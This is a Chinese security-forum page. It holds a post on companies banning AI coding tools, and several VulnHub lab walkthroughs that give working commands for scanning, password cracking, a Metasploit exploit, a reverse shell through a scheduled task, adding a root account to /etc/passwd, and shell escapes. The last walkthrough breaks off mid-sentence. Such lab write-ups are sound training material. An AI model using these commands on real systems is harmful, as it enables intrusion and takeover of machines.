编程导航信息安全话题讨论

信息安全

117 参与
分享

快来分享你的内容吧~

点击登录,快来和大家讨论吧~
表情
图片
话题
打卡
综合
交流
文章
问答

全面封禁 Cursor!又一家大厂出手了

# 大家好,我是程序员鱼皮。 最近,有网友爆料称:**快手的研发线发布通知,收紧了对第三方编程软件的使用权限**。 不少同学发现,只要在自己办公电脑上点开 Cursor,就直接闪退,压根儿用不了。 ![](https://pic.code-nav.cn/post_picture/1601072287388278786/hZ0vC481rTOYXFI0.webp) 我都能想象到这些同学有多痛苦,本来可能计划好了下午 1 个小时用 AI 把代码生成完,然后摸 5 个小时的鱼。结果午休一觉醒来发现天塌了,先是对着屏幕发了一会儿呆,然后开始上网找代码模板、翻文档查 API,能不能按时完成工作都是未知数。。。 有员工调侃:没 Cursor 的日子,我连 Hello World 都写不顺了! 毕竟很多人已经深度习惯了 AI 辅助开发,如果真的回到手搓时代,确实很难适应。 ![](https://pic.code-nav.cn/post_picture/1601072287388278786/RETIEVnz6PF0EQ9M.webp) 但其实这波限制第三方 AI 编程工具的操作,早就不是个例了。 今年 5 月,字节跳动就发布了内部邮件:自 6 月 30 日起,将分批次禁用 Cursor、Windsurf 等第三方 AI 编程软件,转而推广自研的编程助手 Trae。 ![](https://pic.code-nav.cn/post_picture/1601072287388278786/733lWjrwK9b8rL39.webp) 当时字节给出的理由主要有 2 个: 1. 不少员工通过个人账户采购这些工具,数据沉淀到个人账户,不符合公司数据安全管理规范 2. 部分第三方工具和模型(比如 Claude)尚未在中国区提供正式服务,存在合规风险 结果这个消息在圈内传得沸沸扬扬,尤其是字节的程序员炸锅了。有人觉得毕竟字节要推自己的 Trae 嘛,禁用第三方工具也算是情理之中。但关键是当时 TRAE 和 Cursor 差距较大,所以有厂友吐槽:如果逼着用Trae,那宁可不用AI。天天在那里提示纯属帮倒忙,不仅降低生产力还影响心情。 还有更狠的 DISS:外面的蟠桃不给吃,逼着让吃自家的猪饲料。 ![](https://pic.code-nav.cn/post_picture/1601072287388278786/gIOeDBELI5gsinGZ.jpg) 后来字节又补充说明,如果第三方工具符合法律法规、支持租户管理和数据管控,通过审核后还是可以申请使用的。只不过大部分人都被引导去用 Trae 了。 除了国内大厂,像亚马逊在今年 11 月要求员工优先使用自研的 AI 编程工具 Kiro,并明确表示将不再支持任何新增的第三方 AI 开发工具。还有今年 9 月,微软全面禁止员工使用 DeepSeek 相关应用,强制推广自家的 GitHub Copilot。 ![](https://pic.code-nav.cn/post_picture/1601072287388278786/iSUWvg54KUBqoT0n.webp) 看到这里你可能会想,这些大厂是不是太保守了?AI 编程工具明明能大幅提升效率,为啥要禁?真的只是为了推广自家的产品么? 我觉得首要原因是 **考虑安全性**。 对于大厂来说,代码不仅仅是代码,更是企业的核心资产、是商业机密。一旦泄露,损失无法估量。 而 Cursor、Copilot 这类 AI 编程工具,默认会将用户输入发送至云端模型进行推理。你写的每一行注释、每一段未提交的草稿,都可能在不经意间离开企业边界。 再仔细想一想,这些工具背后的大模型训练数据来自哪里?会不会用你的代码继续训练?这些问题都是大厂必须考虑的。 能用 AI 开发都已经算是好的了,有些公司对安全的把控更严格,比如位于深圳的 ICT、计算头部企业,一直秉持着 **内部信息不上网** 的原则。任何向外部网络上传文件的行为,都被从底层程序上禁止了。 想象一下,明明外面的世界如此发达,却要把你关在一个禁网的小黑屋里写代码,这才是真的痛苦。 ![](https://pic.code-nav.cn/post_picture/1601072287388278786/5yvSSGn1s4TE7Ow8.jpg) 除了数据安全,还有个现实问题:**AI 生成的代码质量参差不齐**。 “如果一个函数你写了 90%,剩下 10% 让 AI 去生成,它能给你把前面 90% 的代码全部改错。” ![](https://pic.code-nav.cn/post_picture/1601072287388278786/1eUuIqCLRMnIUnMB.webp) 你可以把这句话当个笑话听,只要它不发生在自己身上。 AI 确实能提效,但如果完全依赖 AI、不审查代码就提交,很容易出现线上事故。**而对于大厂来说,即使效率低一点,也必须保证代码安全。** 关注我的朋友也应该知道,今年互联网出现了多少 P0 级重大故障?很难说背后是不是 AI 的锅。**但 AI 是无法被追责的,给 AI 擦屁股的只有用 AI 的我们自己。** ![](https://pic.code-nav.cn/post_picture/1601072287388278786/aGDU25m9ZzcQW4sy.webp) 最后我想说,AI 编程已经成为大趋势。就拿《腾讯 2025 研发大数据报告》中的数据来说,腾讯 **超过 90% 的程序员** 正在使用 AI 编程助手辅助写代码。更夸张的是,2025 年全公司有 **50% 的新增代码** 由 AI 辅助生成。也就是说,每两行代码,就有一行来自 AI。 ![](https://pic.code-nav.cn/post_picture/1601072287388278786/xVbve2mWp5Bt3z0D.webp) 即使你所在的公司禁用了 Cursor 等 AI 工具和某些大模型,你自己也应该积极学习 AI 编程工具,**而且要用最新的**,这直接关乎你未来的竞争力。就跟打游戏一样,你拿历史版本的 T0 去打这个版本的 T0,不就会被吊着打么? AI 发展非常迅速,每天都有新东西,可能 1 个月不关注,你用的工具和大模型就落后几个版本了。所以我也做了个 [AI 导航网站](https://ai.codefather.cn/),帮大家更快获取到最新的 AI 学习资源、工具大全、资讯等等。感兴趣的同学可以免费使用~ ![鱼皮AI导航网 ai.codefather.cn](https://pic.code-nav.cn/post_picture/1601072287388278786/XeU6IEkerfOVuxjp.webp) ## 更多 💻 编程学习交流:[编程导航](https://www.codefather.cn/) 📃 简历快速制作:[老鱼简历](https://www.laoyujianli.com) ✏️ 面试刷题神器:[面试鸭](https://www.mianshiya.com) 📖 AI 学习指南:[AI 知识库](https://ai.codefather.cn/)

大家好, 我第一次接触木马查询相关工作,目前没有任何思路。关于这块的排查的流程大概是什么样的,如果发现了木马文件该如何彻底清理。我现在只停留在将进程kill了

打靶记录30——Vegeta

真言: === 实操才是渗透测试最核心的能力 当你不在每天起早贪黑的去磨练你的渗透测试能力,磨练你的技艺的时候,你就会变得生疏,变得荒废,某些能力就会慢慢的离开你的身体,当然你的见识、经验、知识面还在,但是会有一些东西慢慢离开你的身体 渗透是一项实战的技能,它和你学过多少技术,你从业多少年,你有多少积累,你做过多少大的项目,都没有太大的关系,它就是看你面对眼前的这个目标,你能不能快速的把它拿下 靶机: === https://www.vulnhub.com/entry/vegeta-1,501/ **下载(镜像)**:https://download.vulnhub.com/vegeta/Vegeta.ova 难度: === * 低 目标: === * 获得 Root 权限 攻击方法: ===== * 主机发现 * 端口扫描 * 信息收集 * 路径枚举 * 摩尔斯码 * 数据编码还原 * 二维码解码 * 本地提权 主机发现 ==== 目标机和攻击机均为桥接模式 `sudo netdiscover -r 192.168.31.1/24` ![](https://pic.code-nav.cn/post_picture/1691989928780603394/8njxwFMEHF6X2jQc.webp) 端口扫描和服务发现 ========= `sudo nmap -p- 192.168.31.129` 发现打开了 22 端口和 80 端口 <img src="https://pic.code-nav.cn/post_picture/1691989928780603394/Dj0KGnR2bxLRZPg3.webp" alt="" width="100%" /> `sudo nmap -p22,80 -sV -A 192.168.31.129` 发现目标应该是 Debian 系统 <img src="https://pic.code-nav.cn/post_picture/1691989928780603394/K3QrEN11o2GwCece.webp" alt="" width="100%" /> 访问 80 端口发现只有一张七龙珠的贝吉塔的图片 ![](https://pic.code-nav.cn/post_picture/1691989928780603394/3s5XC20uWSoHCQIS.webp) 目录爬取 ==== `sudo dirsearch -u http://192.168.31.129/` ![](https://pic.code-nav.cn/post_picture/1691989928780603394/vDX8x0MC6Gh3DISN.webp) 去到 admin 路径下查看,发现 `<?php ?>` 显示出来,说明目标上可能没有 php 环境 <img src="https://pic.code-nav.cn/post_picture/1691989928780603394/lNtAurmQSoN3lrZa.webp" alt="" width="100%" />![](https://pic.code-nav.cn/post_picture/1691989928780603394/D4lrYq5fJrYQlH1j.webp)![](https://pic.code-nav.cn/post_picture/1691989928780603394/DooxjnsFaCnnGjor.webp) `robots.txt` 里面有一个隐藏路径 `/find_me` ![](https://pic.code-nav.cn/post_picture/1691989928780603394/4FB2G5eongU5v8fL.webp) <img src="https://pic.code-nav.cn/post_picture/1691989928780603394/7iltUBhnz0nTURkK.webp" alt="" width="100%" /> <img src="https://pic.code-nav.cn/post_picture/1691989928780603394/AQg4eBWTVE8p5PC3.webp" alt="" width="100%" /> Ctrl + U 查看源码,在最下面发现了 Base64 编码 ![](https://pic.code-nav.cn/post_picture/1691989928780603394/cY1Kie7jUsM4rHqu.webp) 二维码解码 ===== 打开 cyberchef `from base64` ——> `from base64` ——> `Image Filter` ——> `Parse QR Code`,最终获得密码 `Password : topshellv` ![](https://pic.code-nav.cn/post_picture/1691989928780603394/GtHsYOQQoe07zjXu.webp) ![](https://pic.code-nav.cn/post_picture/1691989928780603394/2XijpRoYusOEaXg7.webp) 或者这样也可以 `zbarimg -q a.png` <img src="https://pic.code-nav.cn/post_picture/1691989928780603394/kDibIoUPfYxF9c3r.webp" alt="" width="100%" /> sudo apt search zbar sudo apt install zbar-tools 获得 `QR-Code:Password : topshellv` 记得前面端口扫描的时候发现开启了 22 端口 `ssh root@192.168.31.129` 用`topshellv`这个密码登录 root 账号失败,用 `vegeta` 贝吉塔账号也登录失败 <img src="https://pic.code-nav.cn/post_picture/1691989928780603394/YwBwnxuLamhZIQI1.webp" alt="" width="100%" /> ```bash dirsearch -u http://192.168.31.129/ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-big.txt ``` 用大字典来跑,然后发现了 /bulma 路径,发现里面有个音频文件 ![](https://pic.code-nav.cn/post_picture/1691989928780603394/e27LETp6TbVXcrTH.webp) `sudo apt search audacity` 下载一个音频软件 <img src="https://pic.code-nav.cn/post_picture/1691989928780603394/uJbr6PWi9MQfKnLB.png" alt="" width="100%" /> `sudo apt install audacity` `audacity hahahaha.wav` 打开软件 ![](https://pic.code-nav.cn/post_picture/1691989928780603394/IvRKxklN5uxRX3Hi.webp) 摩尔斯码 ==== 可以通过查表来根据音频还原 ![](https://pic.code-nav.cn/post_picture/1691989928780603394/mIvaTCEcETezhepc.webp) 也可以在网站上,自动破解摩斯电码 https://morsecode.world/international/decoder/audio-decoder-expert.html ![](https://pic.code-nav.cn/post_picture/1691989928780603394/81fAP6S33tPXPg9m.webp) ![](https://pic.code-nav.cn/post_picture/1691989928780603394/nRDgaVVhjNbzt4iW.png) `USER : TRUNKS PASSWORD : US3R(S IN DOLLARS SYMBOL)` 用户名:`trunks` 密码:`u$3r` ![](https://pic.code-nav.cn/post_picture/1691989928780603394/asNYKeXLqgNCtu8o.webp) 成功突破边界 本地提权 ==== 发现 /etc/passwd 文件的所有这就是当前账户 ![](https://pic.code-nav.cn/post_picture/1691989928780603394/5awlo06F1LWRpqfP.webp) `openssl passwd -1 123` 生成一段密码的密文 `$1$Z2yt8KuG$39Z2Ki5NRHgLxesflIdEo1` <img src="https://pic.code-nav.cn/post_picture/1691989928780603394/p3AKuBhgeoIISSv3.png" alt="" width="100%" /> ```bash echo "admin:$1$Z2yt8KuG$39Z2Ki5NRHgLxesflIdEo1:0:0::/root:/bin/bash" >> /etc/passwd ``` 追加一行管理员账号到 /etc/passwd 文件上 ![](https://pic.code-nav.cn/post_picture/1691989928780603394/Oru7wKIdrrmAjROs.webp) 发现密码前面的 `$1$Z2yt8KuG$3` 没写进去,难道是转义问题? 直接用 vi 来编辑 /etc/passwd 文件吧,然后直接 su 成 admin,输入密码 123 即可 ![](https://pic.code-nav.cn/post_picture/1691989928780603394/QL7DBxKckLkQChu4.webp) ![](https://pic.code-nav.cn/post_picture/1691989928780603394/URVnW2ZaOeL13qNc.webp)

打靶记录29——dawn

靶机: === https://www.vulnhub.com/entry/sunset-dawn,341/ **下载(镜像)**:https://download.vulnhub.com/sunset/dawn.zip 难度: === * 中 目标: === * 获得 Root 权限 攻击方法: ===== * 主机发现 * 端口扫描 * 信息收集 * SAMBA 漏洞 * 任意文件上传 * 日志信息泄露 * 调度任务 * 提权方法 1 * 提权方法 2 * 潜在提权方法 主机发现 ==== `sudo arp-scan -l` 发现靶机 IP 是 192.168.31.27 ![](https://pic.code-nav.cn/post_picture/1691989928780603394/KJodvjSiWkT7E6Q7.webp) ![](https://pic.code-nav.cn/post_picture/1691989928780603394/5NVbxKyMNgTmaaSW.webp) 端口扫描和服务发现 ========= `sudo nmap -p- 192.168.31.27` <img src="https://pic.code-nav.cn/post_picture/1691989928780603394/tNGL0DoFq2GXkGNQ.webp" alt="" width="100%" /> `sudo nmap -p139,445,3306 -A 192.168.31.27` ![](https://pic.code-nav.cn/post_picture/1691989928780603394/oWMWe5NLRueEfsQB.webp) SAMBA 漏洞 ======== 139 和 445 端口`netbios - ssn`,表示该端口运行的是 NetBIOS 会话服务。NetBIOS(网络基本输入 / 输出系统)是一种用于在局域网中实现计算机之间通信和资源共享的协议,而 `netbios - ssn` 是 NetBIOS 会话层服务,常用于文件和打印机共享等功能。 ![](https://pic.code-nav.cn/post_picture/1691989928780603394/wtFgy0aLthhXenSI.webp) 发现可以使用 guest 账号 <img src="https://pic.code-nav.cn/post_picture/1691989928780603394/L7OA4p5OcEd27KJx.webp" alt="" width="100%" /> `smbclient`是一个用于访问 SMB(Server Message Block)共享的命令行工具,通常用于与 Windows 文件共享或 Samba 服务器进行交互。 `smbclient -L \\\\192.168.31.27` 因为可以使用 guset 账号,所以我们在它提示需要密码的时候直接回车就可以了 ![](https://pic.code-nav.cn/post_picture/1691989928780603394/dixRw9J1rBzcl1P3.webp) * `**-L**`:是 `smbclient` 的一个选项,`-L` 表示 “list”,即列出服务器上的共享资源。 * 使用 \ 来转义,所以是四个 \ 发现 ITDEPT 这个共享值得注意 任意文件上传 ====== `smbclient \\\\192.168.31.27\\ITDEPT` 发现这个文件夹是空的,可以写文件进去,但是没办法进一步利用 ![](https://pic.code-nav.cn/post_picture/1691989928780603394/f9GB1aH6hGnOsfXn.webp) 访问 80 端口的 Web 页面 ![](https://pic.code-nav.cn/post_picture/1691989928780603394/rksjyxaUnPsyXjsF.webp) ```bash Web页面提示: 我们需要实施的事项: 安装摄像头视频源。 更新我们的个人相关信息 安装一个控制面板。 ``` 日志信息泄露 ====== `sudo dirsearch -u http://192.168.31.27/` 进行目录扫描,发现一个 logs 的路径 ![](https://pic.code-nav.cn/post_picture/1691989928780603394/hcg7iWgPkUGjltBB.webp) ![](https://pic.code-nav.cn/post_picture/1691989928780603394/SZusnepIGYhLF1OG.webp) 只有 management 可以访问下载,打开发现是用 pspy 来进行系统进程信息的抓取 <img src="https://pic.code-nav.cn/post_picture/1691989928780603394/v8Z105ERSsM8CR1B.webp" alt="" width="100%" /> 发现这个信息 `/bin/sh -c /root/pspy64 > /var/www/html/logs/management.log` 可以判断目录结构是 `/var/www/html/` <img src="https://pic.code-nav.cn/post_picture/1691989928780603394/FWvGTrqvpqEZqwHl.webp" alt="" width="100%" /> 发现这个 `/home/dawn/ITDEPT/` 周期性的出现,而这个目录应该就是我们前面通过 samba 服务能访问到的目录,这个目录是可写的 `grep "/home/dawn/ITDEPT/" management.log` 过滤一下日志文件,查看其中的关于这个目录的内容 ![](https://pic.code-nav.cn/post_picture/1691989928780603394/FHCu8eijMMOGePq3.webp) 调度任务 ==== `grep "/home/dawn/ITDEPT/" management.log | grep product-control` 发现每隔一段时间,它会对这个脚本赋予 777 权限,然后就去执行这个脚本 ![](https://pic.code-nav.cn/post_picture/1691989928780603394/LeEl7pftAuA78Zdl.webp) 那我们是否可以创建一个 `product-control` 文件,其中写入我们的反弹 shell 的恶意代码,然后上传到目标服务器上,当这个调度任务去执行这个脚本的时候,或许就能突破边界了 <img src="https://pic.code-nav.cn/post_picture/1691989928780603394/zAUmbYYsluu7p8vQ.webp" alt="" width="100%" /> ![](https://pic.code-nav.cn/post_picture/1691989928780603394/tJWxR73ZYNsjpzkv.webp) 果然成功进来了 `python -c "import pty;pty.spawn('/bin/bash')"` 升级一下 shell ![](https://pic.code-nav.cn/post_picture/1691989928780603394/7UshOiAmLSvUXbUF.webp) 提权方法 1 ====== `cat .bash_history` 查看命令历史,查看系统管理员对系统的操作指令,发现一串密文 `$1$$bOKpT2ijO.XcGlpjgAup9/` ![](https://pic.code-nav.cn/post_picture/1691989928780603394/pnrpPJbf99rd9r9O.webp) 先用 john 尝试破解一下这个密文 ,破解成功 `onii-chan29` ```bash john hash --wordlist=/usr/share/wordlists/rockyou.txt ``` <img src="https://pic.code-nav.cn/post_picture/1691989928780603394/O4q9EGNJ1zodUmhg.webp" alt="" width="100%" /> `sudo -l` 发现可以执行 mysql 命令 <img src="https://pic.code-nav.cn/post_picture/1691989928780603394/HVlMgzKgxwfkPKmA.webp" alt="" width="100%" /> 用刚刚破解出来的秘密可以成功登录 mysql ![](https://pic.code-nav.cn/post_picture/1691989928780603394/RZVz5Gwa07CxqSEk.webp) `\! bash` 因为是 sudo 执行的 mysql,所以就直接获得了 root ,获得了 flag ![](https://pic.code-nav.cn/post_picture/1691989928780603394/OlR9vdbKcafDfkkz.webp) 在 MySQL 命令行客户端里,以反斜杠 `\` 开头的命令被称作特殊命令或者元命令。`\!` 就是其中一种元命令,它的作用是让你暂时离开当前的 MySQL 会话,转而在操作系统的 shell 中执行命令。当输入 `\! bash` 时,它会启动一个新的 `bash` shell 进程。 提权方法 2 ====== `find / -type f -perm -u=s -ls 2>/dev/null` ![](https://pic.code-nav.cn/post_picture/1691989928780603394/t7FawG0mp19dCAoN.webp) 。当一个可执行文件设置了 SUID 权限后,用户执行该文件时,会以文件所有者的身份来运行,而不是以执行该文件的用户自身身份运行。 发现 zsh 可以 <img src="https://pic.code-nav.cn/post_picture/1691989928780603394/aD8gPYwb6VX9qSGq.webp" alt="" width="100%" /> 潜在提权方法 ====== 查看 ganimedes 账号的 .bash_history,里面有 root 账号的密码 ![](https://pic.code-nav.cn/post_picture/1691989928780603394/BhCJsbAsJnS0Y87y.webp) ![](https://pic.code-nav.cn/post_picture/1691989928780603394/xCZ1dGYBvZL8mmlS.webp)

打靶记录28——Funbox2

靶机: === https://www.vulnhub.com/entry/funbox-rookie,520/ **下载(镜像)**:https://download.vulnhub.com/funbox/Funbox2.ova 难度: === * 低 目标: === * 获得 Root 权限 攻击方法: ===== * 主机发现 * 端口扫描 * 信息收集 * FTP 服务漏洞 * 密码爆破 * SSH 公钥认证 * rbash 逃逸 * 本地提权 主机发现 ==== `sudo arp-scan -l` 扫描发现192.168.31.26 的靶机 IP ![](https://pic.code-nav.cn/post_picture/1691989928780603394/IqIBkqdJ8zQosnx2.webp) 端口扫描和服务发现 ========= `sudo nmap -p- 192.168.31.26` 全端口扫描发现开启了 21,22,80 这三个端口 ![](https://pic.code-nav.cn/post_picture/1691989928780603394/5psHRLfEG82XCHyP.webp) `sudo nmap -p21,22,80 -A 192.168.31.26` 进行应用版本的发现 ![](https://pic.code-nav.cn/post_picture/1691989928780603394/lQQqhbmTQbN3frWR.webp) 发现 FTP 服务开启了 Anonymous 匿名访问,里面有大量的 zip 格式的文件,从文件名可以看出可能是用户名称。 还有一个 welcome.msg 邮件 `searchsploit ProFTPD 1.3.5` 根据版本搜索一下漏洞库 ![](https://pic.code-nav.cn/post_picture/1691989928780603394/qStP6VzwsHfI9ZV1.webp) FTP 服务漏洞 ======== 阅读代码发现是通过 FTP 的漏洞将 PHP 的 Webshell 的代码写入到 Web 服务的根路径里面,然后再通过浏览器或者是其他的命令行工具来触发这个 Webshell,实现命令执行 ![](https://pic.code-nav.cn/post_picture/1691989928780603394/TSPpZCB5fPTMM4pT.webp) 通过 FTP 的拷贝能力将恶意代码植入到 Web 根路径,生成一个 Webshell 的文件,然后再利用请求这个 Webshell 文件来执行操作系统的 cmd 命令 ![](https://pic.code-nav.cn/post_picture/1691989928780603394/hU7gqZ3SznZlo40l.webp) `msfconsole` 启动 `msfconsole` 是 Metasploit 框架的交互式命令行界面,而 Metasploit 是一款开源的、强大的渗透测试工具集,在网络安全领域应用广泛。 ![](https://pic.code-nav.cn/post_picture/1691989928780603394/wzIZE96TFGTPgS8A.webp) `search proftpd 1.3.5` ![](https://pic.code-nav.cn/post_picture/1691989928780603394/EaCcfXH9lISxcFrf.webp) ```bash use 0 show options info set RHOSTS 192.168.31.26 set SITEPATH /var/www/html show targets show payloads set payload /cmd/unix/generic set CMD id exploit ``` <img src="https://pic.code-nav.cn/post_picture/1691989928780603394/eHl1daDDiaxlhL2z.webp" alt="" width="100%" /> 使用 msf 失败,可以是因为版本不对,目标是 1.3.5e 版本,多了个 e 也可能是目标靶机的管理员做了一些安全配置 也可能是靶机作者已经修补了该漏洞 努力了一大圈却还是失败,但是在真实渗透过程中是经常出现的,如果时间超过一个小时,就不要钻牛角尖了,把能做的都做了就行,至少排除了这个 FTP 匿名登录 ======== `ftp 192.168.31.26` 使用 anonymous 账号,空密码登录,`ls` 查看文件 ![](https://pic.code-nav.cn/post_picture/1691989928780603394/0PRCg4Cl3k139aVx.webp) `ls -la` 发现还有两个隐藏文件,使用 `mget *` 都给它下载下来 ![](https://pic.code-nav.cn/post_picture/1691989928780603394/gX7d2YeblMgUgmqD.webp) `get .@admins` 和 `get .@users` 也下载下来 `cd ../../` 始终在 ftp 的根路径下,跳不出到操作系统上 ![](https://pic.code-nav.cn/post_picture/1691989928780603394/5vh1ylDvhPFSxHrK.webp) ![](https://pic.code-nav.cn/post_picture/1691989928780603394/s7va4zgcINoJ5Yea.webp) <img src="https://pic.code-nav.cn/post_picture/1691989928780603394/I0aGWJP8ugKZS5CE.webp" alt="" width="100%" /> * `-n` 是 `echo` 命令的一个选项,它的作用是在输出字符串时不添加换行符。这里使用 `-n` 是为了确保输出的 Base64 编码字符串是一个连续的、没有额外换行干扰的字符串,以便后续的 `base64` 命令能正确处理。 它说小心你的 key,它在用户名.zip 文件里面,那我们猜测可能是 SSH 的 key,如果能连上去,管理员应该是有 sudo 权限的,那我们就可以直接 su 成 root 账号了 ![](https://pic.code-nav.cn/post_picture/1691989928780603394/gRtNWpwfU4K5rmBg.webp) 解压的时候发现需要密码,而且里面的文件叫 id_rsa ,应该就是 SSH 的私钥了 使用 john 来破解压缩包密码,先 `zip2john anna.zip > anna.hash` 把压缩包转换一下, `john anna.hash --wordlist=/usr/share/wordlists/rockyou.txt` 然后用 rockyou 这个比较大的字典来破解,因为前面有提示 `The passwords are the old ones.` ![](https://pic.code-nav.cn/post_picture/1691989928780603394/nJ3PDLyM0kmtDqSU.webp) ![](https://pic.code-nav.cn/post_picture/1691989928780603394/qhioDdvxLuUcaldI.webp) anna.zip 破解失败,最后只有 cathrine 和 tom 能破解出来,密码为 `catwoman` 和 `iubire` ![](https://pic.code-nav.cn/post_picture/1691989928780603394/3bLtyYttS8BoWCrF.webp) SSH 公钥认证 ======== `ssh tom@192.168.31.26 -i id_rsa` 解压后用私钥直接登录 tom 账号 ![](https://pic.code-nav.cn/post_picture/1691989928780603394/wbCzSUUqjzLPtlV0.webp) `cat .mysql_history` 查看数据库的操作记录 ![](https://pic.code-nav.cn/post_picture/1691989928780603394/mvT6YoMGqXVHg27U.webp) 发现疑似 tom 账号的密码 `xx11yy22!` <img src="https://pic.code-nav.cn/post_picture/1691989928780603394/L14hBqMZXUvWEqLR.webp" alt="" width="100%" /> `sudo -s` ![](https://pic.code-nav.cn/post_picture/1691989928780603394/xQGuAQWOF0wNnRXP.webp) * `**-s**`:这是 `sudo` 命令的一个选项,`-s` 表示启动一个新的 shell 会话,并且这个 shell 会话会以超级用户的身份运行。当你执行 `sudo -s` 后,系统会提示你输入当前用户的密码(前提是你当前用户有使用 `sudo` 的权限),验证通过后,会打开一个新的 shell 环境,在这个环境中你可以执行任何需要超级用户权限的操作,就像直接以 `root` 用户身份登录一样。 <img src="https://pic.code-nav.cn/post_picture/1691989928780603394/4EUQylTEkLCTP8pD.png" alt="" width="100%" /> 但是想去到 /root 路径遇到了问题 ,提升 shell 的类型是 rbash `rbash` 即受限的 Bash(Restricted Bash),它是 Bash shell 的一个受限版本 rbash 逃逸 ======== `sudo mysql -utom -pxx11yy22!` 利用 mysql 来启动一个新的 shell `\! bash` 即可 ![](https://pic.code-nav.cn/post_picture/1691989928780603394/m4MSstuPSc90loSU.webp) 或者 * 在一些编辑器中可以设置shell变量然后执行,如vim中 vim/vi进入之后 ========== :set shell=/bin/sh # 或者用/bin/bash :shell <img src="https://pic.code-nav.cn/post_picture/1691989928780603394/AchPnGb4azv6nisj.webp" alt="" width="100%" />![](https://pic.code-nav.cn/post_picture/1691989928780603394/sLCwSCyRLlEtqwqU.webp) ![](https://pic.code-nav.cn/post_picture/1691989928780603394/iIB9Kn1DsiXMv6M6.webp)

打靶记录27——Tre

靶机: === https://www.vulnhub.com/entry/tre-1,483/ **下载(镜像)**:https://download.vulnhub.com/tre/Tre.zip 难度: === * 中 目标: === * 获得 Root 权限 + Flag 攻击方法: ===== * 主机发现 * 端口扫描 * 信息收集 * 进阶路径枚举 * EXP 代码改造 * 突破边界方法1 * 突破边界方法2 * 突破边界方法3 * 权限提升 主机发现 ==== 这次用 Vmware 来打开虚拟机,如果用 Virtual box 很可能出现获取不到 IP 的情况,那只能用进入单用户模式的方法来设置 IP 了 我就用 Vmware 来打开了,我的 kali 和 靶机都设置的桥接模式 ```bash sudo arp-scan -l ``` ![](https://pic.code-nav.cn/post_picture/1691989928780603394/jxuCoV8XKqlzbmPf.webp) 端口扫描和服务发现 ========= `sudo nmap -p- 192.168.31.24` <img src="https://pic.code-nav.cn/post_picture/1691989928780603394/oVkNeL03xwKbDfzg.webp" alt="" width="100%" /> 发现开放了 22,80,8082 这三个端口 `sudo nmap -p22,80,8082 -A 192.168.31.24` 进行一下应用版本的扫描 ![](https://pic.code-nav.cn/post_picture/1691989928780603394/CagrVgCvB4L6MYDA.webp) 发现 80 端口和 8082 端口都是 Web 服务,浏览器访问之后发现页面都一样,怀疑他们是同一个 Web 应用,那只能使用工具了 <img src="https://pic.code-nav.cn/post_picture/1691989928780603394/YXyPVHK7UAjHFDLF.webp" alt="" width="100%" /> 信息收集 ==== ```bash sudo dirsearch -u http://192.168.31.24 ``` <img src="https://pic.code-nav.cn/post_picture/1691989928780603394/0eGr6TQTN7riTPpt.webp" alt="" width="100%" /> 访问 /adminer.php 这个路径发现是一个 Web 应用,可以登录数据库的,但是我们不知道数据库的账号密码 <img src="https://pic.code-nav.cn/post_picture/1691989928780603394/JwDY4DZF5AT0XKf1.webp" alt="" width="100%" /> `searchsploit adminer` <img src="https://pic.code-nav.cn/post_picture/1691989928780603394/uSSpU37piAK07Soh.webp" alt="" width="100%" /> 搜索发现没有已知的可攻击的漏洞 `http://192.168.31.24/cms/`这个 CMS 路径上也没有有价值的信息,都是静态的页面 ![](https://pic.code-nav.cn/post_picture/1691989928780603394/iimoiYj6y3YXX8fR.webp) `http://192.168.31.24/info.php` 这个路径就是正常的 phpinfo 显示 ![](https://pic.code-nav.cn/post_picture/1691989928780603394/I5nNJvi5b346gEbz.webp) 访问 `/system` 路径发现需要认证,使用弱口令 `admin/admin` 通过验证 ![](https://pic.code-nav.cn/post_picture/1691989928780603394/qlkl0PuSzXr9qVie.webp) 发现 HTTP 头多了验证的东西:`"Authorization":"Basic YWRtaW46YWRtaW4="` <img src="https://pic.code-nav.cn/post_picture/1691989928780603394/Tlyp5ranWaSUfqdK.webp" alt="" width="100%" /> 突破边界方法 1 ======== `searchsploit mantis` 搜索看看有没有可以利用的代码,发现最新的版本有个 RCE ![](https://pic.code-nav.cn/post_picture/1691989928780603394/06SISY0zif9YHtiP.webp) ![](https://pic.code-nav.cn/post_picture/1691989928780603394/KZpxq5t2XqNu5aie.webp) 需要修改一下,在代码里加上验证的 HTTP 头,修改靶机和 kali 的 IP,然后路径要修改成 `/system` ![](https://pic.code-nav.cn/post_picture/1691989928780603394/FQMfft73OntYmacD.webp) 运行代码成功获得 shell ![](https://pic.code-nav.cn/post_picture/1691989928780603394/Riq0GZn2CKwhbMbH.webp) `python3 -c "import pty;pty.spawn('/bin/bash')"` 升级一下 shell <img src="https://pic.code-nav.cn/post_picture/1691989928780603394/zqeDpXF6PzH72N8A.webp" alt="" width="100%" /> 在 Unix、Linux 等类 Unix 系统中,`tty` 是一个用于显示当前终端设备文件名的命令。“tty” 原本是 “Teletypewriter”(电传打字机)的缩写,在现代计算机系统中,它代表着用户与操作系统进行交互的终端设备。 当你在终端中输入 `tty` 命令并按下回车键后,系统会返回当前终端所对应的设备文件路径。例如,在本地物理终端上执行 `tty` 命令,可能会返回类似 `/dev/tty1` 、`/dev/pts/0` 这样的结果,其中 `/dev/tty` 系列表示物理终端,`/dev/pts` 系列表示伪终端(如通过 SSH 连接创建的终端会话)。 突破边界方法 2 ======== 对发现的新路径再进行路径的爬取 ```bash sudo dirsearch -u http://192.168.31.24/system/ --header="Authorization: Basic YWRtaW46YWRtaW4=" ``` 找到一个 config 路径 ![](https://pic.code-nav.cn/post_picture/1691989928780603394/w3A9PkjFruKJcwqj.webp) ![](https://pic.code-nav.cn/post_picture/1691989928780603394/VHFLdkmYsptMSCGw.webp) 在 a.txt 里面发现了数据库的相关信息 ![](https://pic.code-nav.cn/post_picture/1691989928780603394/VQUy0irQzvzrsGDL.webp) ```bash # --- Database Configuration --- $g_hostname = 'localhost'; $g_db_username = 'mantissuser'; $g_db_password = 'password@123AS'; $g_database_name = 'mantis'; $g_db_type = 'mysqli'; ``` 回到 http://192.168.31.24/adminer.php 下尝试登录成功 <img src="https://pic.code-nav.cn/post_picture/1691989928780603394/hmsIjEc6TGvdBvMl.webp" alt="" width="100%" /> <img src="https://pic.code-nav.cn/post_picture/1691989928780603394/w0vDJuDJiEiKEDa3.webp" alt="" width="100%" /> 在这个表里发现有用户名和密码的字段 ![](https://pic.code-nav.cn/post_picture/1691989928780603394/peBcWswERS2rCAs3.webp) 执行 SQL 语句来查询一下该表 ![](https://pic.code-nav.cn/post_picture/1691989928780603394/TqT9AChS6Ym9kjWL.webp) `select * from mantis_user_table;` 发现一个很像密码的 